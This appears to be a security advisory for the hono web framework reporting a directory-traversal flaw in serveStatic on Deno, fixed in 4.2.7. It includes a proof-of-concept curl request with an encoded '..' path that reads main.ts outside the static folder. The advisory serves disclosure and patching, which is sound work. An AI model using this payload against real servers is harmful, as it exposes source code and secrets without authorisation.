| Package | Affected versions | Patched versions |
|---|---|---|
| hono | < 4.2.7 | 4.2.7 |
| hono | < 4.2.7 | 4.2.7 |
When using serveStatic with deno, it is possible to directory traverse where main.ts is located.
My environment is configured as per this tutorial https://hono.dev/getting-started/deno
$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
└── a.txt
source
import { Hono } from 'https://deno.land/x/[email protected]/mod.ts'
import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts'
const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))
Deno.serve(app.fetch)
request
curl localhost:8000/static/%2e%2e/main.ts
response is content of main.ts
Unexpected files are retrieved.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free